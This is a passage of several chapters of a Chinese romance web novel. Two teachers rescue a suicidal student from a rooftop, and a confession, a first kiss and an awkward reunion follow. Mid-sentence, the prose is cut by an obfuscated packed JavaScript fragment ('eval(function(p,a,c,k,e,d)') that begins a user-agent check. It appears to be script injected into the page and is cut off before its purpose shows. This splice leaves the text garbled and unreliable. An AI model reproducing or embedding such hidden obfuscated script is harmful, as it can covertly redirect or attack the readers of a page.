所以他先把之前强硬夺走的钥匙拿来还了,又约许之一起吃食堂,就是希望重现往日情景,让许之想起他们当年那些好的回忆。 但现在的事态发展……好像有哪里不太对啊! 许之:“你说的那些话,我都听懂了,所以现在可以吃饭了吗?我饿。” “好吧,你吃。”许之都这么说了,本来就过了饭点,李斯年也不忍心让他挨饿。 这餐饭吃得沉默,李斯年心里没滋没味的。 一直到等到许之喝完了汤,他才又开口:“你到底是听懂什么了?” 若真是看穿他这样做的理由,充其量可以不领情,但总没有生气的必要吧。 许之无声叹了口气,只觉得他这刨根问底、话非要说透的性格还是和从前一模一样:“你提起从前的事情,无非是说这物是人非全怪我,让我难受、愧疚,你的目的达到了,想听多少次道歉?我都说给你听。” “我不是这个意思!”李斯年看他完全理解歪了,有些着急,“你别老把我想得那么恶毒行吗?我就……单纯是想跟你吃个饭,真的,你别太敏感了。” 话都是他说的,现在又倒打一耙怪自己太敏感?许之有点没脾气了,懒得和他争辩,只是放下汤碗:“好吧。” 又是片刻沉默,李斯年小心翼翼看了他一眼:“从前的事情,你就那么不愿意提起吗?” 其实不全然,许之心想,虽然存在大片淤泥与沼泽,但至少有过非常耀眼的阳光。 但出口仍然是硬着心肠的话:“是的。” 李斯年表情一僵,剩下的话全哽在喉头。 他原本还想约许之吃晚饭,但现在的氛围里,若是问了,一定会被拒绝。 到底怎么才能让许之知道,不论过去还是现在,他都不会是自己的拖累,更不用拒自己于千里之外呢? 李斯年正苦思冥想时,就听许之拿着托盘起身。 “我下午还有咨询,要提前准备一下,就先走了。”许之说完,转身离开。 李斯年沮丧地看着许之背影消失在食堂大门口,拿出手机,给吴琛发了条微信。 SN:跟你取取经,追人有什么技巧? 不过多时,吴琛回复了, 先是捂嘴偷笑的表情,然后是两句话。 琛:这你就问对人了,我向来因材施教,对于许之这种性格,我对你的建议就两个字。 琛:直接。 SN:怎么直接? 琛:直接做直接说,别拐弯抹角,他说不定会想岔了。 李斯年激动地发出一个大拇指的表情,深深觉得自己问对了人。 SN:没错,他刚才就误会我了。 SN:可是直接说,会不会把他吓到? 琛:…… 琛:你们是什么未成年小朋友吗?这点事还能被吓到?许之没那么脆弱!! 李斯年是一个很善于接纳他人意见并进行学习运用的人,尤其是看到自己的法子行不通、而吴琛又隔着手机精准预估到了许之的反应时。 他决定就按照吴琛说的试试看。 SN:好,我琢磨琢磨。 琛:等你好消息! - 李斯年下午第二节有课,从南苑食堂出来后,他沿着湖边小路往教学楼走。 边走边在手机上搜了一堆诸如“广都什么地方最浪漫”“告白需要准备什么”“广都周末约会推荐”等关键词。 然后选定了一家餐厅,提前打电话过去预约。 那家餐厅在广都很有名,在沿江高塔之上,面江而建,最著名的就是视野极好的空中露台,身处其中,江景街景纵览无余。 遇到特殊节日,江边组织烟火晚会时,那里也是最好的观赏点。 可惜这周末没有烟花。 但看看夜景也很不错,再配上一桌精致餐点和昂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李斯年看到朋友圈界面里,备注为赵毅的男生在一分钟前发了一条朋友圈。 配图是俯视的、密密麻麻的楼房,看起来是站在某个高处天台拍的。 配文为:不曾爱过我的世界,再见。 “他不会是要跳楼自杀吧?!”也有其他赵毅的同班同学刷到了那条朋友圈。 “为什么啊?他不是成绩很好吗?” 所有同学都开始交头接耳起来,李斯年回到卷发女生身边,双手有力地扶住了她的肩膀,带着安抚意味。 “不要慌,跟我说,赵毅到底怎么了?”李斯年说。 卷发女生终于从极度慌乱中恢复些许,整个脸皱成一团,带着哭腔,摇头:“我、我答应他要保密的……” “再保密,说不定人就没了!”李斯年沉声道。 卷发女生听到“没了”两个字,整个人猛地一哆嗦,眼泪吧嗒就落了下来。 李斯年放在她肩上的手微微用力:“每拖一秒,就多一分危险!” “他、他第一节课下课后……”卷发女生终于开了口,她说到一半,紧张地咽了咽口水,像是害怕旁边同学听到似的,声音又轻了几分:“跟刘博然告白,结果失败了……我以为、以为他只是需要一个人静一静,但是……老师!求你救救他!” 李斯年脸色微变,他记忆力很好,班上的学生不说个个都记得,至少点过名、回答过问题的都有印象。 而这个名为刘博然的学生,上节课刚解出他一个非常刁钻的设问,所以李斯年更是印象深刻。 刘博然是个男生。 李斯年来广都大学时间较短,对校园内还不太熟悉,于是他扬声问向其他学生:“互相传阅一下那张照片,谁能看出来是在哪栋楼的天台?” 学生们互相传看,一阵窸窸窣窣的讨论,很快就有人开了口:“李老师,这好像是逸夫楼啊……能看到下面有一片绿化空地,还有个雕塑。” 旁边也有人附和:“对,就是逸夫楼!全校只有那栋楼是砖红色,所以连天台的围栏也刷成了红色,我刚开学时还去那里做过公益保洁!” 李斯年颔首,抬手就点了两个熟识的学生:“你,打电话报警,你去找邹主任,如果她不在,就去隔壁几个办公室,找任意老师都行!” “剩下的同学,原地自习,不要随意转发截图和传谣!” 说完,李斯年快步生风地出了教室。 79.天台 五六月份对于广都而言,在温度上已经到了盛夏。 咨询室拉着纱帘,将阳光的炽热过滤,只剩下柔柔暖暖的黄光斜铺在实木地板。 空调被调整成舒适的温度,许之坐在单人沙发上,翻看着上一次的咨询记录。 他对面的单人沙发扶手上搭着一块薄毯,空无一人。 又过了十多分钟,许之看了眼时间,表情有些凝重。 纸上记录了第一次来访者的情况,第一行就是:预约时间15点,来访者14点36来到预约室等候。 许之侧身,拿起一旁小茶几上的座机,按下快捷拨号。 对面很快就接通了:“许老师?” “来访者还没到吗?” “是的,刚才我们有打他第一次预约时留下的手机号,但关机了。”预约室的值班学生回答,“要再打一次吗?” “暂时不用了。”许之说完,放下电话。 他站起身,将记录册收回抽屉,一边想着什么,漫无目的地踱了几步。 其实很多细节都能体现出来访者的特性,从赵毅第一次咨询的情况来看,他是一个规则秩序感非常强的人。 会比规定时间提前至少十分钟到。 咨询期间由于觉得冷而使用了薄毯,在结束时是先叠好然后放回远处的。 手边小茶几上的杯子,喝完后会盖上盖子。 他与自己的所有对话,措辞行句都比较正式,看起来拘谨且不放松,似乎担心给出的信息不够准确,从而影响咨询师的判断。 诸如此类的东西,是不会轻易改变的,许之能合理推测出,哪怕赵毅这次咨询因故不来,也会至少提前一段时间来电取消。 是发生了什么突发状况,才导致他一贯的行为习惯出现偏差了? 许之正想着,余光瞥见窗外,楼下道路上的学生突然多了起来。 现在的时间点正是第二节课的课中,而咨询室这一侧所对着的小道并非学校主干道,通常情况下,是不会有这么多学生出现的。 而更奇怪的是,他们都步履匆匆,甚至有些人还小跑着,朝着同样的方向而去。 许之心下油然而生一种不太好的预感,随即门外响起重重的敲门声。 对方显然很急,甚至没得到许之的允许,就径直拧开了房门。 是今天的值班学生。 “许老师,不好了!赵毅要跳楼,邹主任叫您赶紧过去!” 许之快步进入逸夫楼,围观的学生已经是里三层外三层,保安圈起警戒线,不允许闲杂人等靠近。 这场景如此似曾相识,让许之陡然想起了育德实验室着火的那天。 不同的是那天下着鹅毛大雪。 而如今是艳阳盛夏。 许之强压下心中的不安,迎向正等在大门口、一脸焦虑的邹主任。 “他什么时候上去的?报警了吗?”许之问。 “消防的人已经来了。”邹主任与他一同快步向电梯走去,一边同步情况:“应该是下午第二节课的时候,消防正在打充气垫,但是这栋楼最高层有八层,已经超过气垫的有效保护范围……赵毅专业课的老师十分钟前上去了,我想着心理老师来也会有帮助,林教授不在学校,所以叫你来了。” 许之点头,出现这样的自伤情况,他也没有再遵守保密条例:“这个学生上周的确来预约过我的咨询,但他心理防御机制很强,沟通没有太大进展,所以我也不确定他到底为什么会跳楼。” 邹主任抬眉:“他找你咨询过?那太好了,能有个熟悉的专业人士来劝劝应该很有帮助,来,这边。” 电梯只到七楼,从七楼到露台还需要爬半层楼梯。 邹主任毕竟上了年纪,许之来之前已经上下跑了好几趟,此刻体力已有些不支。 许之心急,于是叫她“慢慢来”,然后自己一步两个台阶地往前跑去。 眼看那扇虚掩着的铁门就在眼前,许之从门缝中看到了背对着铁门的身影,那明显不属于赵毅。 那人穿着黑色短袖的身体一半被烈阳染上金色,一半在阴影里,双腿修长,一前一后,似乎还在缓慢往前迈步。 许之后知后觉想到刚才邹主任那一大段话里的一句:赵毅专业课的老师十分钟前上去了。 电光火石之间,许之还没来得及去回忆赵毅曾说自己是哪个系的,熟悉的声音率先一步冲进耳中。 “其实,我也是同性恋。” 许之扶着铁门的手瞬间攥紧,紧张与快跑后的心脏跳得极快,他甚至能感觉到耳膜在随着脉搏节奏涌动,让所有声音都变得不确定起来。 “谁、谁?谁在那里!”赵毅颤抖的声音传来,打断了许之的思绪。 许之心中愕然,他只是手扶在门上,甚至没有推开分毫。 但可惜从他这边看不清赵毅身处何处,但明显以赵毅的站位,能察觉到门后来了人。 虽然不知道李斯年前面具体说了些什么,但许之能察觉到,他与赵毅已经达成了微妙的沟通平衡。 这时候,是不应该贸然出现第三个人的。 许之侧身想躲,希望李斯年能岔开话题,却没想到对方也随着赵毅的声音回过头。 二人的眼神隔着铁门细细的门缝,猝然对撞。 李斯年挑了挑眉,眼里尽是深沉,毫无笑意时,甚至能让人在盛夏中生出几丝冷意。 他注视着许之,异常快速且轻微地向着自己侧前方抬了抬下巴。 随后猛地回头,向前冲过去! “别过来!”赵毅声嘶力竭地声音传来。 许之在那一瞬间,其实没读懂李斯年眼神的含义。 他掀开铁门、快步冲上天台的动作,全是凭着下意识的反应。 在这瞬间,有些默契似乎穿越了岁月时光,再起沸腾在血液之中。 以李斯年的性格,他会怎么做—— 顺着他方才示意的方向,许之快速锁定了赵毅所在的位置,那是天台的一角,两条横向横栏最高只在腰间。 李斯年已经趁赵毅不备,攥住了他的手腕,但对方挣扎得厉害,另一只手臂勾在横栏上,人就要往楼下翻! “赵毅!”许之扬声。 赵毅认出了这个声音,惊疑不定地看了过来。 “你今天的咨询迟到了。”许之抬手点了点表。 没有人料到,许之一开口,说得竟然仅仅只是这句话,他声音平稳淡定,没有丝毫指责的意味,只是在陈述一件事实。 赵毅下意识开了口:“对、对不起,我……” “没关系。”许之打断他,“只是剩下的时间恐怕不够,我们预约改天的时间吧?” 赵毅下意识先点了头,而后又剧烈的摇头:“不、不用了,我没什么好咨询的,我已经没脸再活下去了!” 他说着,抬腿就要往横栏上踏,不料就在刚刚踩上去的那一瞬间,一只手猛地从旁边横向霹了过来,正落在他膝盖前方。 “啊!”赵毅吃痛痛呼。 而就在他腿软的同时,那手又顺势往上一带,顶向他攥着横栏那只手的手腕! 这一切发生的太快,赵毅只是一个普普通通的、连高考体育都擦边过线的大学生,根本挡不住李斯年练过的几招。 他也自然没有发现,其实早在他与许之分神说话时,李斯年已经悄然调整好了身位。 所以当他反应过来时,整个人已经被李斯年挡住,眼看连横栏的边都摸不到了! “别碰我!”赵毅在极度无措之中,生出歇斯底里地莽撞力气来。 他奋力挣扎,想从李斯年双臂的紧锢中解放,最后甚至整个身体都扭动起来,与之对抗:“为什么要管我!就让我去死不行吗!” 二人原本就站在天台角落不远处,如此纠缠角力之间,反而更向着横栏靠近了几分! 许之的心都提到了嗓子眼,却也深知此刻不能贸然冲动。 他抬起手,手指微微向上,摊掌向前,是一个安抚和示意自己没有伤害意图的手势。 他努力忽略背部几乎抵上了围栏的李斯年,只看着赵毅:“赵毅!你听我说!” “我不想听!”赵毅怒吼,“你们根本就不懂!” “好,那我换我听你说,行吗?你说我不懂,那你解释给我听,你遇到了什么事,你是怎样的心情?”许之声音与平常在咨询室里其实没什么不同,只是更加沉了些。 他一字一句,说得清晰,像是整点敲响的钟声,稳落在地:“你如果现在跳下去,解释权就在别人手里了,由别人说你是什么人,你甘心吗?你那些没做到的事,不遗憾吗!” 赵毅听到这里,浑身剧烈一颤! 李斯年察觉到对方力气 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杂乱的声音响起,许之只知道自己抱住人了,他没有掉下去,但全部的力气和精力都放在维持环紧的双臂上,连抬头看一眼李斯年是何情况都无法做到。 所幸很快,许之感觉到自己的腿、腰、肩都接连被人拽住了,那力量带着他往后,逐渐抵消了失重感。 二人被拉回天台地面,许之喘着气,仰倒在地,听到耳边邹主任和其他老师正围在李斯年旁边。 “李老师?李老师?!” “李老师,听得到我说话吗?” 许之坐起身来,去看李斯年,只见他在这呼唤中慢慢睁开了眼睛,先是眨了眨眼,然后轻轻地倒吸了一口气,头微微一侧,抬手想摸。 邹主任赶紧按住他的手,怕他碰到伤口:“头哪里疼?” “后脑勺,可能磕到了。” “疼得厉害吗?”邹主任问。 “还行,能忍。” 李斯年说完,似乎觉得这样躺着讲话有点太狼狈,撑着地想要坐起来,旁边其他老师赶紧扶了一把。 邹主任神情仍然严肃,抬手叫来了人:“窦老师啊,你过来下,救护车已经到楼下了,你负责陪着李老师和许老师一起去医院。” 窦老师应了声:“我这就下去,催他们拿担架上来。” 许之见李斯年神志尚且清楚,以为没什么大碍,于是问邹主任:“主任,赵毅人呢?” “他没事,已经被几个老师架出去了,也会送去医院检查,你们不用担心,只管先处理好自己的伤。”邹主任侧头看了看许之的手臂,“许老师身上也有好几个地方都擦破皮了,好好养,别留疤。” “好,谢谢邹主任。”许之说。 邹主任见这边情况已经稳定,于是起身,去张罗其他事了。 日头还没完全倾斜,被烤了大半天的天台还是很热的,但许之已经出了一身冷汗,此刻衣服黏在身上,倒也顾不上热不热。 虽然气已经喘匀了,但他的心还是跳得很快。 许之侧头去看李斯年,只见他正曲着左腿,手搁在上头,抵按着太阳穴。 似是察觉到目光,于是也抬起眼,冲他弯了弯嘴角。 许之看到这笑,就来气:“你也太冲动了!万一你们两个一起掉下去怎么办?” “这不是没事嘛,别担心。”李斯年安慰道,“我有分寸。” 信他才有鬼了,许之一肚子闷气,扭过头去。 过了会,又忍不住撇过一眼来:“头,还很痛吗?” 李斯年的手从太阳穴上放下,诚实道:“是有点晕。” 一听这话,许之也顾不上生气了,手扶上李斯年的肩,想去看他后脑勺:“是撞围栏上了吧?除了头晕还有别的感觉吗?想不想吐?” 他每问一句,李斯年笑意就深一分,他按着许之的手,安抚似的轻拍了几下:“等下检查检查就好了,别这么担心。” “我可没有担心你。”许之抽回手,硬邦邦道,“就算撞成傻子,也跟我没关系。” “是是是,没关系。”李斯年抬眼看去,窦老师正在跟医护人员协调二人担架怎么从狭窄楼梯拐角上来的事。 于是他往许之身边更凑近了下,二人肩膀交错。 “谢谢你,救了我第二次。”李斯年低声说。 80.初吻 李斯年离得近,说话时,热气喷洒在许之耳廓,像是羽毛拂过一般,带来麻麻痒痒的感觉。 许之用冷淡的声音掩盖住内心的不自在:“不客气,可能我上辈子真欠你的。” 李斯年听完,低低的笑了半天,似乎很喜欢这个说法。 虽然这人一副还能插科打诨的模样,似乎挺有精神的,但其实在被推上救护车之后,不过半刻,便昏睡了过去。 许之被吓得不轻,担架也不躺了,一路都坐在旁边守着,直到了医院,也寸步不离。 最后还是窦老师看不过去,找医生拿了棉签和碘酒,由许之自行处理了手肘的擦伤。 “患者背部因为撞击而产生了的淤青,但没有大碍,昏睡是因为脑后重击导致了轻微脑震荡,建议留院观察一天,明天情况稳定的话,就可以出院修养。”医生拿着检查单,对许之和窦老师说。 许之这才松了一口气:“有单人病房吗?” 医生点头:“是家属想要陪床吗?” 通常多人病房是有探视时间的,家属不能陪同过夜,是故有一些非常担心的家属会有陪床需求,从而询问单人病房。 许之顿了顿,答:“是的。” 医生:“有,但是需要自费。” “没问题。”许之说。 跑上跑下的缴费和手续自然是窦老师跑,他还热情地买来了晚餐,虽然不知道李斯年什么时候会醒,但仍然买了双份。 “多谢窦老师,今天真的麻烦你了,改天请你吃饭。”许之诚恳道。 窦老师摆摆手:“哎呀,许老师这么说就客气啦!咱们都是同事,应该的,我要向你学习,今天要不是你舍己为人,冲过去拽住李老师的腿,他真可能就这么掉下去了……想想后后怕啊!” 窦老师这人,为人热情、善良,但话也挺密的,还有点拿腔拿调。 许之耐心地听他讲完一大通话:“当时那个情况,也顾不上想那么多,都是应该的。” 寒暄几句后,窦老师也识趣地不再打扰,让许之也好好休息,随后离开。 窗外的天已经黑透了。 单人病房内灯光昏暗,只有床头一盏亮着,再就是走廊的白炽灯从大门的窗口玻璃处斜斜照进来。 许之没什么胃口,饭吃了两口就放下了。 李斯年还没转醒,虽然医生说了,他检查结果都还算正常,今晚大概率会醒。 但只要他没睁开眼,许之的一颗心还是会在半空中垂着、荡着,不得安宁。 病房内充斥着医院特有的酒精味,李斯年闭着眼、一脸安静的模样,睫毛随着身旁仪器的闪光,一下又一下地被镀上蓝红混杂的颜色。 这景象,真的很像八年前。 许之的手轻轻从李斯年额角抚到下颚边,指腹下的伤疤温热而不平整,仔细看,还能察觉到毛细血管内若隐若现的血液流动。 这是,许之在梦里都不敢梦见的。 有生之年,竟然还能这样看着他,触碰到他。 许之回忆着从前的日子,忽然想起李斯年脚踝的伤。 说起来,脚踝是前后伤过两次的,也不知道现在恢复了没…… 许之盯着李斯年的脸,叫了他两声,然后又不轻不重地捏了捏他的脸颊。 毫无反应。 看这个样子,应该暂时还不会醒吧? 这样想着,许之站起身,来到床位,轻轻掀开被褥一角。 在检查过程里,护士已经给李斯年换上了病号服,他此刻光着脚,许之只需要轻轻撩起裤脚,就能看到他的脚踝。 李斯年的肤色算不上白,但却很细腻匀称,许之一手拽着他的裤脚,一手扶着他的脚背,轻轻转动观察着脚踝。 皮肤上看不出有什么,似乎恢复得不错,许之心想。 “咳咳……” 床头响起一阵清嗓子的声音,许之吓了一跳,手触电似的收了回来,抬头就对上了李斯年意味深长的目光。 “许老师做什么呢?”李斯年饶有兴趣道。 许之将掀起的被角盖了回去,压着嘴角,轻描淡写道:“想起来你脚伤,看看好了没。” 李斯年拖长语调“哦”了一声,勾起嘴角:“原来是这样,吓死我了,还以为许老师有什么不为人知的癖好。” 许之瞥了他一眼,决定不搭理,这种时候,越接话、李斯年就越来劲。 他拿起桌上的盒饭,送进微波炉。 自费的单人病房条件很好,要什么有什么,桌上甚至还有新鲜的水果。 随着叮当一声响,许之将盒饭拿回床前,但李斯年不急着吃,而是偏头去看许之的胳膊。 “擦伤严重吗?”李斯年问。 “小事。”许之说。 他没说谎,的确是很轻的擦伤,而且只有右侧手臂有,别说留疤了,估计很快就能恢复到和四周肤色一致的程度。 但李斯年还是坚持叫他抬起胳膊,仔仔细细的看了一圈,才放心。 窦老师买来的盒饭比较清淡,一碗小米粥和几个包子,但李斯年刚睡醒没太大胃口,于是只是喝了半碗小米粥。 一抬头,看到许之安静坐在靠墙的小沙发上,拿着手机处理一些工作邮件。 床头那盏灯的光蔓延到墙边时,已经近乎于无,许之的脸是被手机屏幕的光照亮的。 他看得认真,眼神偶尔上下扫动,微微抿着嘴。 从前他刷题时就是这样,只要专注,就会不由自主抿着嘴,或许他自己都不知道、也没人发现,但李斯年观察到了,并很开心能独享这个小秘密。 李斯年就这么静静看着,直到他处理完工作,将手机锁屏。 “可以帮我拿个橘子吗?”李斯年问。 许之在茶几果篮中拿了个,放在他手边。 趁着李斯年吃橘子的空挡,他将饭盒收拾干净了,又去烧了点温水,给他倒了一杯。 这么多年过去,许之还是这样善于照顾人,李斯年心下一片柔软,仿佛回到曾经在出租屋、自己脚部上着固定器的日子。 许之也是这样无微不至地照顾他。 “早点休息吧,医生说你轻微脑震荡,观察一夜,稳定的话明天就能出院。”许之说着,要帮他将靠背摇下去。 但刚握住摇杆,就感觉手腕一暖,是李斯年按住了他的手。 “你……听到我在天台说的话了?”李斯年轻声问。 许之没想到他会自己提这件事,他叹了口气,干脆坐到床边的凳子上:“我本来想等你伤好再聊。” 李斯年眸光微闪,静静等着他继续说下去。 “其实你不该这么说的。”许之严肃道。 李斯年一怔。 许之没能注意到,而是沉浸在自己的专业分析中。 他和赵毅的第一次心理咨询其实聊得很浅,但结合今天听到李斯年说的那半句话,他已经能对赵毅跳楼的原因产生些许猜测—— “赵毅如果对自己性取向产生不自洽的心态,那么他其实应该重建自我认知、去理解并接纳自我里和大环境主流认知相违背的部分。” “而‘异性恋是正常、同性恋是异常’这件事,本来就是从众的思维,那如果他今天因为你、一位年轻有为广受欢迎的老师是同性恋,从而认为自己也该认同自己的性取向,那岂不是又陷入了另一个维度的从众?” 说起这些时,许之就完全不像是曾经的少年了,而是站在讲台上、坐在咨询室内,稳重可靠又不偏不倚专业心理咨询师。 李斯年的思绪在“年轻有为广受欢迎的老师”这几个字上稍作停留,继而听懂了许之的意思。 他忽然想起吴琛说的那两个字:直接。 没错,得直接一点,因为许之显然又误会了一些事情。 “我打断你一下。”李斯年顿了顿,对上许之的双眼:“我说我是同性恋,不是为了安抚赵毅,是真的。” 许之先是神色一震,半晌,似乎想通了什么,眉眼间又显露出怒色:“李斯年,我是很严肃的跟你说正事,你能不能别在这种时候还满嘴跑火车……” “或者准确来说,我也不是同性恋,我没喜欢过女的,也没喜欢过别的男的。”李 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许之没有反应过来发生了什么,只觉得面前的人突然靠近,然后嘴唇覆上极其柔软的东西。 表面带着凉意、内里又透着温热,这世上没有任何一种东西曾给过他这样的感觉。 李斯年很克制的一触即离,虽然吴琛说许之没那么胆小,但他还是怕吓坏了他的小朋友。 李斯年手指轻柔而缓慢地摩挲着许之的后颈,像是把玩着世上最珍贵的瓷器,他微微抬头,二人鼻尖抵着鼻尖。 “你这个人啊,真的很难搞,你知不知道。”李斯年几近叹息,沙哑的声音里带着宠溺意味,“现在你总该相信了吧?” 许之不可置信地看着李斯年,他从刚才开始就显得有些迟钝,像是大脑跟不上实际状况,哪怕浅浅的一吻时,也是睁着眼的。 而此刻明明脸上已经起了红晕,目光却仿佛没反应过来要羞涩,只是睫毛在微微颤抖着。 李斯年心中叹了一声,他就说吧,还是自己最了解许之,他的确是被吓到了。 但这被吓到的模样,偏偏又极为可爱。 可爱到让人想把他拆开吃掉。 按在后颈的手忍不住使了点劲,将人又拥向了自己。 许之以为李斯年还会说些什么,没想到竟然又吻了上来。 他后知后觉地伸手想推,却反而被攥得更紧。 唇上的柔软捻磨着,极有耐心,仿佛这件事本身就充满了无穷趣味。 许之整个人僵硬到忘记了呼吸,直到察觉到唇瓣上滑过一抹更湿热的触感,他身体一颤,忍不住嘴唇轻启倒吸了口气。 而李斯年无师自通般地抓住了这一瞬的机会,侧过头,加深了这个吻。 陌生而熟悉的气息铺天盖地而来,像是海水,从鼻腔、唇齿往里灌,还夹带着丝丝缕缕橘子的酸甜味道。 许之感觉脑子晕晕乎乎,仿佛喝醉一般。 明明这味道是来自对方,他却觉得自己才是那颗被剥了皮的橘子。 口腔内的每一寸都被搜刮、被掠夺,获取氧气的权利也被占据,一点反抗的力气也没有。 他还听到唇齿间细微的水声,以及自己鼻腔内无意识的、令人陌生又羞赧的轻哼。 自己的手明明放在李斯年肩前,是抗拒意味。 但实际行为又像是在迎接。 在这样一片混乱的情绪与感官中,他既想要结束、又想要永恒。 似乎察觉到许之过于急促的呼吸,李斯年终于放慢节奏,随后拉开了些许距离。 他看着许之一双弧度圆润的眼被亲得水汪汪,如初阳升起时候花瓣上挂着的露珠,心里顿时觉得柔软极了。 那些痛苦、绝望,那些深夜的辗转反侧,这八年的时光,在这一瞬间,全部灰飞烟灭了。 李斯年轻轻仰头,用唇吻了吻许之湿漉漉的睫毛,觉得自己一颗心也在此刻终于也落了地。 他将许之拥进怀里,脸贴在他耳侧,柔声道:“我们在一起吧,好不好?” 81.说开 李斯年其实做好了心理准备,许之十有八九不会立刻答应自己。 但他怎么也没想到,这人前一天晚上红着脸说了句“我想想,先睡吧”,二天一大早,就已经跑得无影无踪。 连手机都调成了勿扰模式,来电全部转为语音信箱。 李斯年满心无奈,给许之发了条语气温和的消息。 SN:没想好也没关系,有空给我回个电话?我不会逼你的。 然后转头就切到了吴琛的对话框。 SN:果然吓到他了[汗],前脚刚告白,后脚就跑了……现在连电话也不接。 琛:啊?不会吧?! 琛:你是不是除了告白,还做别的了? 李斯年盯着手机看了半天,最后心虚的关掉了对话框。 他办好出院手续,打车回了趟广都,想直接去心理学系那边逮人,却没想到先碰上了窦老师。 “李老师,你怎么来学校了?邹主任说了,你这几天就好好休息,课已经安排其他老师帮你代了。” “我知道,是有点事想找下许老师,电话没打通。”李斯年含糊道。 窦老师“咦”了一声,有点吃惊:“许老师没和你说吗?他上午的飞机,跟林老教授一起去重州大学交流学习了,这周正好是重大建校六十周年,有很多活动。” 交流学习?!许之怎么一个字都没和自己提? 李斯年心里有些不是滋味,表面却不显露分毫,只是点头:“这样……” 窦老师很不解风情地继续说:“他昨晚在你病房陪床,我以为早就告诉你了,我还见林老教授亲自跑了一趟,来学校拿一些资料,和许老师打电话,让他直接从医院去机场汇合。” “嗯,可能他走得急。窦老师,实验室那边还有点事等处理,我就先过去了。”李斯年拍了拍窦老师的肩膀,快步离开。 窦老师浑然未觉,还伸着脖子嘱咐:“李老师,你这几天还是多注意休息啊!别累着了!” 李斯年唯恐接了话又要被黏上,于是只抬手晃了晃,示意自己知道了。 - 许之这一去,就是一周。 李斯年觉得自己像是个留守在家的妻子,每天都度日如年,板着指头数他什么时候才回。 好在许之其实在当天晚上就回复了李斯年的消息,语气挺正常,头两句甚至带了些歉意。 说林教授叫得急,许之又忘了是上午的航班,这次交流会全程都是他亲自准备的,临了了换人影响很大,而他也的确只是受了些擦伤,所以那天早上就没叫醒李斯年,直接走了。 李斯年知道许之做事很有计划,行程安排都会详细记录到分钟。 而这样的人,竟然能忘记次日还要飞重州这么重要的事。 大概是因为见自己受伤,太紧张了,一慌,就什么事都抛诸脑后了。 李斯年这么一想,那点关于不告而别的怨气也就消散的无影无踪。 只是原本预约好的那家沿江高塔餐厅到底是没去成,李斯年想了想,干脆在家做一顿,邀请许之来。 他消息发过去,顺带询问许之明天航班的具体时间,想去接他。 这一次许之消息回得格外慢些,李斯年上了一下午的课,开车回家,直到处理完洪室章的邮件后,八点多,手机才响。 许:林教授顺路捎我回家就行,不用麻烦。 SN:那周末哪天有空,我好买菜。 许:周末要加个班,和赵毅聊聊,还要处理学术交流的文档,下次吧。 李斯年有些失望,但秉承着给对方留空间思考的想法,还是没有再多说什么 SN:行,那你有时间再和我说,工作日的晚餐也可以,工作忙也要注意休息。 许:好。 就这样,又是一周过去。 李斯年期间也试探性地给许之发过一些消息,但他的回复无一例外都是温和、礼貌,但婉拒。 这是傻子也能感觉到对方在躲自己了。 李斯年的耐心终于耗尽。 他从一个值班学生那儿,以商量公益活动讲座事宜为借口,探问出了许之哪天的什么时候会在咨询室,然后直接就找上门了。 咨询室在没有进行咨询时,是不会锁门的,李斯年进去后反手把门锁一按,就去敲内间的门。 “哪位?”许之声音很快响起。 李斯年试了试,内间门也没锁,于是就直接推了门。 许之正坐在电脑前,似乎在处理工作上的内容,他竟然还戴了副银色窄框眼镜。 李斯年从前从没见许之戴过眼镜。 他五官风格本就是带着张扬感的精致,此刻被压在这样一副斯文的眼镜之下,反而生出几分禁欲的感觉。 许之听到动静,一脸惊讶地抬起头。 他怎么都没想到,这人如今都快奔三的年纪、是堂堂教授了,还能在学校里做出这种莽撞的事情。 他愣了好几秒,才眉头一皱:“怎么不打声招呼就来了?” 李斯年顺手关上门:“我要是真提前打招呼,恐怕就见不到你了。” 他今天本意也不是来跟许之针锋相对的,往侧面的沙发上一坐,声音很温和,“我就是想跟你聊聊。” 许之取下眼镜,手指揉了揉鼻梁,先转去了饮水机旁。 “冷的热的?”他问。 “都行。”李斯年答。 许之于是倒了杯温水,放在桌上,坐到了李斯年侧手边的沙发上。 “这些天,为什么一直躲着我?”李斯年开门见山。 许之知道李斯年就是来问这个的,其实他也很清楚,这么逃避下去也不是回事。 只是任何事情他都可以果断取舍,他从来都很清楚自己要的是什么。 但一旦和李斯年扯上关系,他就会变得优柔寡断。 李斯年见他不说话,心已经沉到了谷底,嘴角挤出一丝无奈地笑容,“我只是想得到一个明确的答案,哪怕是拒绝,就算死,你也让我死个明白。” 李斯年很少有这样落寞的模样,许之看在眼里,心猛地被刺痛了,忍不住脱口而出:“我是真的没想好……” 李斯年原本垂下的双眼又抬了起来,眸光闪了闪。 许之忽然觉得这屋子里的灯太亮了,有些情愫,他从前连想一想,都只敢在夜深无人时才放纵思绪。 如今却要面对面说出来。 可是若此刻起身去关灯,也很奇怪。 他纠结了好一会,开口,却是先对李斯年发问:“你……从什么时候发现自己喜欢男生的?” 李斯年倒也没介意许之岔开话题,其实只要对方愿意沟通,他就很知足了:“你记不记得有天晚上,我们在路边偶遇,就是我喝醉了的那次。” 许之点头。 当然记得,关于李斯年的事情,他没有不刻在心里的。 “其实那天我是去江城挺有名的一个gay吧验证了一下——” 饶是厚脸皮如李斯年,也不太好意思当着当事人的面,去说自己当初究竟是怎么因为对一本漫画起反应,从而怀疑自己喜欢男生,到最后发现自己喜欢的其实只是许之一个人而已。 于是他言简意赅道:“总之,我就是那时发现的,我对其他男人没兴趣,只有你。” 同样的话,哪怕是听第二遍,许之也会觉得像是在做梦一样。 他陷入巨大的震惊之中:“这么早?!” “嗯,不信吗?”李斯年看懂了他眼里的怀疑。 有点,许之心想,若是真的,怎么能藏的那么好?自己又怎么一点都没察觉到? 不对…… 其实李斯年一直对他很好,好过他这辈子遇到的任何一个人。 可从前许之总以为,这只是因为李斯年是这样善良又赤诚的一个人,若不是自己,换做别人,李斯年也会这样无私相助。 “你不信也没办法,这种事情没法证明,世上又没有时光机。”李斯年能理解许之的难以接受。 说到底,这件事还是怪自己,当年没能早点说出口。 “但其实我现在说这些的意思是,我不是八年后、现在才喜欢你的,也不是一时兴起,图个新鲜。”说过这,他顿了顿,加重语气道,“我是认真的。” 他话说得诚恳,就这样将这么多年的深情摊开来,任对方品鉴也好、弃掷也罢。 